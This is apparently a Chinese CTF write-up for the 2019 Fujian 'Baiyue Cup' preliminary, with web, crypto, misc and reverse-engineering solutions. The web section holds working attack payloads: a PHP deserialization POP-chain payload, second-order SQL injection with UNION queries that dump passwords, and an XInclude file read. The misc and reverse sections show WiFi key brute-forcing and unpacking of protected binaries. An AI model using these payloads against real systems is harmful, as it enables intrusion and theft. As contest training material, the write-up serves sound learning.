2019 福建省高校网络空间安全大赛 百越杯 线上初赛 部分题解

垃圾比赛,原题五连击加一题PWN改。

Web

babyphp

京津冀大学生竞赛原题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
error_reporting(1);

class Read
{
private $var;

public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

public function __invoke()
{
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;

public function __construct($file = 'index.php')
{
$this->source = $file;
echo $this->source . '解析开始' . "<br>";
}

public function __toString()
{
$this->str['str']->source;
}

public function _show()
{
if (preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i', $this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $params;

public function __construct()
{
$this->params = array();
}

public function __get($key)
{
$func = $this->params;
return $func();
}
}

if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
?>

POP链的终点是Read类中的**__invoke()**函数,触发条件是对象尝试被以函数的方式调用的时候。

那么应该是选择Test类中的**__get()函数来触发,而__get()**当访问不存在的成员变量时会被触发。

这时看Show类,**__toString()函数访问了$str数组中str对应的值中的source变量,恰好Test类中无source变量,可以调用Test类中的__get()**函数。

而当**__construct()函数中的echo函数将对象当做变量调用时,会触发Show类中的__toString()**函数。

至此,POP链形成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Read {
public $var = 'fllllllaaaaaag.php';
}

class Show
{
public $source;
public $str;
}

class Test
{
public $params;
}

$c = new Read();
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str'=>$b);
$a = new Show();
$a->source = $d;

echo urlencode((serialize($a)));
?>

# ?chal=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3Bs%3A9%3A"index.php"%3Bs%3A3%3A"str"%3Ba%3A1%3A%7Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A6%3A"params"%3BO%3A4%3A"Read"%3A1%3A%7Bs%3A9%3A"%00Read%00var"%3Bs%3A18%3A"fllllllaaaaaag.php"%3B%7D%7D%7D%7Ds%3A3%3A"str"%3BN%3B%7D

babygame

一道二次注入,注册处利用查询的用户名截取一定长度来可以进行引号逃逸。

1
2
3
4
5
6
# 注册用户名
south\\\\\\\\\\\\\'
# 插入数据库
south\\\\\\\\\\\\\\\\\\\\\\\\\\\'
# 取出用户查询的用户名
south\\\\\\\\\\\\\\\\\\\\\\\\\

进去后到了/manage.php?msgid=1页面。

猜测此处sql查询语句如下。

1
select password from user where username='' and msgid='';

那么此时查询语句应该为。

1
select password from user where username='south\\\\\\\\\\\\\\\\\\\\\\\\\' and msgid='';

尝试构造。

1
/manage.php?msgid=union select 1,2,3,4 from users #

回显为3,确认有效,最后构造。

1
/manage.php?msgid=union select 1,2,group_concat(password),4 from users #

得到251471f34244cb6cd61f6b64c63f7b1a,去tools.php下查询得到ChunQiuGame

登陆admin后提示xxe,但是无法读取外部实体,可以使用xinclude

1
2
content=%3Croot%20xmlns%3Axi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXInclude%22%3E%0A%20%3Cxi%3Ainclude%20href%3D%22file%3A%2F%2F%2Fflag%22%20parse%3D%22text%22%2F%3E%0A%3C%2Froot%3E
# flag{f784a3cc-d53f-4440-9456-f050e6ac67e0}

Crypto

math

源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from libnum import *
from Crypto.Util.number import *
from gmpy2 import next_prime
from flag import flag

flag = s2n(flag)
a = getRandomRange(pow(10, 499), pow(10, 500))
b = getRandomRange(pow(10, 499), pow(10, 500))
p = a * pow(10, 500) + b
q = b * pow(10, 500) + a
print p * q
e = 65537
c = getRandomInteger(100)
p = next_prime(p + c)
q = next_prime(q + c)
n = p * q
print n
flag = pow(flag, e, n)
print flag

考数学,将pow(10, 500)设为常数s,得到公式p * q = a * b * s ² + (a ² + b ²)* s + a * b

a * b的部分在pq[:1000][:1000],中间a ² + b ²的部分在pq[500:1500]

因此恰有pq[:500]pq[1500:]未被污染,分别单独属于a * b的前半部分和后半部分。

而中间的pq[500:1500]的前500字节含有a * b的后半部分,后500字节含有a * b的前半部分,做个简单减法可得。

综上,可得a * ba ² + b ²的值,然后根据高中学的那一套变换可以求得ab

1
2
(a + b) ² = a ² + 2 * a * b + b ²
(a - b) ² = a ² - 2 * a * b + b ²

联立公式解得a+ba-b的值,再联立二元一次方程求出ab,进而求出第一次的pq

再使用二分法调用next_prime()函数求解出第二次的pq,最后解得flag,脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# coding = utf8
from Crypto.Util.number import long_to_bytes
from gmpy2 import *

pq = 37290153165969298170747767487987767106604956327590459309623310884436645867385405226836923826439760402232182199047042298740970941114757402758035338227352981884345194304183079410512904720516197002459598643659802383718137698974557870280366585586392385470235597777672593360788744398375690898546971801388821194234775373952698134335885991694714949974679482564600815766377388895037809222168800554222619940240853717965637149897765149770956991503459995786889995461520332980787566967767243445754450380553166156028030513979079301998632175402072502016282327825403961392784400687386536170117841528456263456021394359662685873080287765689757030352392386374307257266677811647633925457228036341541693812765785784057781251815707260401922647083928541835257244409503393940374048782722357915189148582407507806733352268172024029303953342827905707727300151171157623562387977156106983516547443642151573456682745626175061369310982040554116369983687552560719792717887667637107087090897681039368534492698712183905213300675019880169669159964289135274268951386122314246699412166656323475268623240778461031327966634628420986855022944785421496251349486099392411145566566437986155875600117002222032846697544656901210849382567936904958595228620017066673190455548617917273881089052468844830306632804733848750820391807100094948772492402636422551350516389981409116121666282434777976293668265700614707939438561465158100805697922866599682141928964956895065357677209698826476508887966210560085802544989199042295263908880764987497015388183619829914488242002252489035055312547747792033076017959711401664024465093007341377103124755426567781873434171576297409356302054965976819782564966567852321032108507478998871390301458143582617644492262165902951270805160376459476885522275531457938661136508391452032625051782015102833218959697470722331233350397631435041061401412630047713991858871735035714326218833998760244965866341087147750123869855038366992182962371334384526411144813368418246803652025254206189223834187719880012103660703380187226220860
n = 37290153165969298170747767487987767106604956327590459309623310884436645867385405226836923826439760402232182199047042298740970941114757402758035338227352981884345194304183079410512904720516197002459598643659802383718137698974557870280366585586392385470235597777672593360788744398375690898546971801388821194234775373952698134335885991694714949974679482564600815766377388895037809222168800554222619940240853717965637149897765149770956991503459995786889995461520332980787566967767243445754450380553166156028030513979079301998632175402072502016282327825403961392784400687386536170117841528456263456021394359662685873080287765689757030352392386374307257266677811647633925457228036341541693812765785784057781251815707260401922647083928541835257244409503393940374048782722357915189148582407507806733352268172024029303953342827905707727300151171157623562387977156106983516547443642151573456682745626175061369310982040554116369983687552560719792717887667637107087090897681039368537631451824008445150593322916621649220131918968381060182780056625981084043051299820111816407714077085179863978735943069017108793879580065214612325438873475463670028900700692331942940752758392673078381358679392924527642317471983718497708036815480999969876652686414859011578133113730930542513696962965675847727315009182439824295556392013537952480748938928408290671107333656277905126915134701713932190005567660746756601077906025437341247344713253422720837604831207936303137369977025954243957891577406266667226864293421045998499026349073973676803568161225217742238807019077558158505566968246373749202724739826733649675118977232613022754175080279658222551375134841038576853604493545070340911086664690452703289923302725433846272032435289554345937247024060157309603467510583043117535674355137280615256893616267247008324272285381171004240649782585733382066689782757882726882857063752626302302445421988032917071576855484653938018800413715950664940531918933498765096986757431159488734247146715664409455285656746712809269599736842704425915921
flag = 37184996108096167233025618263505757153157343097156888579791591678112798126919291822117280574121886798076450090988956975942694991748710209332101082905159257360206646364269758967180975253962825625943696420172327932961625085719678913462057142665457670366149034781204452807008455874986258694889544297820868505385801547530471600056912582928858038944066247597538813265625994454536879142936629149425871030836276097612443965190900147217177268273320302968487288289500066066413057425060274495415705347775452378126322700828792271046010263910271491830733016822853700053524052302275780619672110356657862368196424416287062999248715568046365255257809392739368556770263662626707604374137827085932252100188620626033333675559976574305831148764403296339508944436482748296238651395448197460974036742794395872850277918173344274773788864080695651830624419146757315446431269176300228703998177892985982388577831521216077129479998846266657008240203501406588349129137285647942569321607846013589344817050392650458477423460119297842938591617558953789224928692831245011187614395138305116091095517452781922364575105441246935183151829079785593965595659385764661764536534314109799011221376335166825363745468702289956019189691732841787948543771767552418889945812912952844388135828118570454948482278617042826378637743128777368607901501702388930246381982139634661483616105908175895785968677045741141086145187314146524800384426347813569795767829229399693985449649456073846347751123890326703399205472967773736717062282465272801543616851680865089979007872017576434756441977097817456958807489726277542047228572876003573562220328683701400744899648300227399574965938796721337143228465728576794734241148236493866791812420360737798058399689694043617192496134725512211166304050577572889549976404923415229865890151512800020112421854251196729060158218415862519607464231622361159436715876677889457900668694738243191441657050304632774189736769141333132873006921328644347784442609254582911864794147017850676177776316795316841373510481580805823659839
e = 65537

# print a * b * pow(10, 1000) + (a * a + b * b) * pow(10, 500) + a * b

a_front = str(pq)[:500]
a_after = str(pq)[1500:]
a_center = str(pq)[500:1500]
# print a_front, a_center, a_after

a2_b2 = int("1" + a_center) - int(a_after + a_front) + 1
ab = int(str(int(a_front) - 1) + a_after)
# print a2_b2, ab

a_plus_b = iroot(a2_b2 + 2 * ab, 2)
a_reduce_b = iroot(a2_b2 - 2 * ab, 2)
# print a_plus_b, a_reduce_b

a_plus_b = 125520294471294371756206159368181409945356030402603762503482456202897533387782094536256610499618557722340156388350652825753139764317331244759764232625886315299606875442745587812532678599409403821368176178124423559665940459376956151960208210346359347886654984646062874450883290186056767079719177407287835346204307512502564043099039957758232483284305934705085260831986768250453454694243836141419616105296901321142602722479489972619458888977889921182264113147746483540050001938721542291553506118731266299
a_reduce_b = 28970382423653526230782087428394120199094608888807510969672174008572263444342743452382065495452410979665183590859836472860381842418270886250846330507167646674351905885014449434182842316793842355041032703945358809543746947830533653096857965009150717206961368552309542092906822247898706652989394172510971441082397663739139074168863166474942514453940979697271097233244125249898829123427276166705668136075753341362350636336479869531538499746880132398933374584887892784910782260556527383469248578187483469
a = (a_plus_b + a_reduce_b) // 2
b = a_plus_b - a
p = a * pow(10, 500) + b
q = b * pow(10, 500) + a
# print p, q

# high = 2 ** 100
# low = 0
# c = (high + low) / 2
# while True:
# print c
# new_p = next_prime(p + c)
# new_q = next_prime(q + c)
# if new_p * new_q < n:
# low = c
# print "p * q < n"
# elif new_p * new_q > n:
# high = c
# print "p * q > n"
# else:
# print new_p, new_q, c
# p = new_p
# q = new_q
# break
# c = (high + low) / 2
#
# 250059412706552500264745575936

c = 250059412706552500264745575936
p = next_prime(c + p)
q = next_prime(c + q)
f = (p - 1) * (q - 1)
d = invert(e, f)
flag = pow(flag, d, n)
print long_to_bytes(flag)

# flag{ddc4205ecd6c22035acae589113bb8aa}

Misc

签到

1
2
3
4
5
6
import base64

flag = "cGxlYXNlIHN1Ym1pdDogZmxhZ3toZWxsb19ieWJ9"
print base64.b64decode(flag)

# please submit: flag{hello_byb}

key

原题,找到了某邀请赛misc key阉割发行版

1
2
3
4
5
6
7
8
9
10
11
12
13
rgb = ['2f', '3f', '24', '22', '2e', '13', '7f', '66', '24', '71', '36', '45', '7b', '7e', '27', '72', '33', '10', '64',
'67', '21', '76', '67', '0c', '70', '37', '23', '72', '78', '16', '7a', '60', '20', '21', '33', '45', '7b', '32',
'77', '74', '37', '5c']
key = 'ISEEU!'
j = 0
res = ""
for i in rgb:
res += chr(int(i, 16) ^ ord(key[j]))
j += 1
j %= 6
print res

# flag{265a4cd2-b7f1-4d32-9df7-733edfd2a21b}

哈尔的移动城堡

102%开头的GNP改成PNG得到一张背景隐有二维码的图。

后在PNG标识符结束后有一个4B50开头的幻数,修正为504B分离得到压缩包。

再将ori.jpg转灰度图后,以ori-gray.jpg102%.pngSUB操作得到二维码,二维码得到解压码1tsEz_b14ndVV4t3rM4k

对压缩包解密,得到两张图,再次SUB操作,得到flag{3399dcb7-9e15-422f-9bf9-9db30dab70ae}

WireLess

打开题目提示password:6666xxxx,大概是爆破wifi密码。 crunch 8 8 -t 6666%%%% >> wifipass.txt创建字典。 aircrack-ng -w wifipasss.txt WiFi.pcap爆破得到flag{0566668912-f059-448f}

Reverse

shy

CTF 逆向题 shy

首先查壳,丢到ExeinfoPE里面看一下,确定是upx壳。

于是丢到OD里面进行脱壳处理,由于是压缩壳,跟踪起来比较麻烦,我选择了个偷懒的办法,下一个api访问断点

即:VirtualProtect,运行3F9后就跑飞了,于是在2次运行后,单步跟踪,到OEP

使用OD自带的插件进行脱壳,注意基址和OEP的关系,计算好后填入。

然后点击脱壳,双击发现不能运行。

这个问题估计是重定向造成,于是修复一下重定向表的数据。

保存后,再次运行可以正常跑起来了。

再次用OD载入,发现入口地址不是OEP

按说是已经解密完成了,于是我定位到OEP【0x1072940一看究竟。

确实已经解密,那么为了方便调试,我直接用OD改一下入口代码就可以实现了。

然后把修改完毕的程序,重新保存到文件,由于有重定位会有下图的提示,点击是,然后右键保存一份dump0.exe

OD载入dump0.exe发现修改成功,可以直接跳转到OEP行,然后单步跟踪,到输入后,发现后面的代码是个加密处理的代码,于是丢到IDA里面看一下这块对应的反编译代码。

buf就是用户输入的字符串,**if ((&v4 + j) != v79[j])这个就是关键的比较,那么V79[]就应该是异或后的结果,也就是ben本题的密钥,于是在OD中定位值6ljh,!;:+&p%ia=Sc4#pt*%**。

接下来就简单了,直接把这个密钥输入,然后再次定位到这块就能得到flag了。

最终得到flag{cb7670ab-c597-4b17}

md5

CTF 逆向之MD5短爆破

首先查壳,丢到exeinfope里面一看,发现是asp的壳,手工脱壳。

根据ESP定律,IAT修复和重定向表修复后,脱壳的程序可以正常运行。

OD载入后,开始单步跟踪。

到用户输入界面,我随便输入了字符串111111111单步跟入到下图,发现了flag字样。

这个应该是flag的头,于是继续跟进,发现确实在核对输入数据与flag{比较,这块就过不去了。

于是果断的从来,输入数据为flag{111111111,来到了下图的地方,在0x16的位置比较0x7D也就是}符号。

由于C语言的字符串下标是从0开始的,也就是字符串第23个字符处必须是}

于是构造字符串flag{11111111111111111},继续跟进,接下来是在0x70xc0x11处核对字符-0x2D

字符串就变成了flag{11-1111-1111-1111},继续跟进,发现了一个字符串c7218260ef2b966ab0454e07c55cf4e9

感觉像是MD5,于是解了一下,得到oh,结之前的flag应该就是flag{oh-1111-1111-1111}

再结合本题的提示,md5段字节爆破,继续爆破得到flag{oh-aa30-1111-1111}

继续输入后,单步跟进,此时发现一个字符串YTkxYQ==,看起来像base64编码,于是尝试解码,得到第三组的flaga91a

想起之前用od也看过字符串,于是找到第四组的字符串NGZicA== ,解码为4fbp

最终得到flag{oh-aa30-a91a-4fbp}

bwarm

CTF 逆向题之 Bwarm

首先,还是查壳,没啥说的vmp2.0.7

下断点开跑,测试到第5次跑飞,那么就在第4次的时开始候单步跟踪,先跳出VirtualProtect函数 ,然后对代码段设置,内存访问断点。

然后F9继续运行,断下来后,在ESP的地方跟踪内存数据,找到SEH结构化异常的上面35C地址那块,下一个硬件写入断点,并取消之前的内存访问断点。

然后继续F9运行,再次断下来,这次再在代码断下内存访问断点,然后多次F9运行,注意观察栈帧的变化,快到SEH的地方就接近OEP了,此时已经跟踪到解压后的代码段,然后进行一下代码分析。

完成分析后,代码就还原了,然后单步跟踪,发现OEP

发现OEP后,同时我们也注意到栈帧部分被压入了3条数据,这个就是VMP偷取的代码,我们需要进行还原,于是在当前位置查找一段0000000000的内存段。

然后,对VMP偷取的代码进行patch。最后跳转到OEP也就是jmp 012319C9

接着我们把当前的01231FB5设置为新的EIP,就可以进行dump内存操作了,填好起始地址和入口地址后,点击脱壳。

把脱壳的文件保存dump.exe,然后尝试运行,发现不能运行,直接崩溃掉了。

于是猜到可能是重定向表的问题造成,用PE编辑器修改一下,然后保存,就可以载入OD进行动态分析了。

单步跟踪到完成字符串输入后,发现一个base64的字符串dQkLdqXP=mLMAa8p=lnncQcq/GEPdGKXcNDl=Mnr=pcoBGPQdG1NA3Aw

还有一个字典,0123456789+/=ABCDEFGHIabcdefghiJKLMNOPQRSTUVWXYZjklmnopqrstuvwxyz

那么就是base64换字典。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

dic = "0123456789+/=ABCDEFGHIabcdefghiJKLMNOPQRSTUVWXYZjklmnopqrstuvwxyz"
flag = "dQkLdqXP=mLMAa8p=lnncQcq/GEPdGKXcNDl=Mnr=pcoBGPQdG1NA3Aw"
base64_table = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+',
'/', '=', ]
res = ""
for i in flag:
res += base64_table[dic.index(i)]

print base64.b64decode(res)

# flag{e38b5b63-4bf7-4ee8-b422-83f599fe0c43}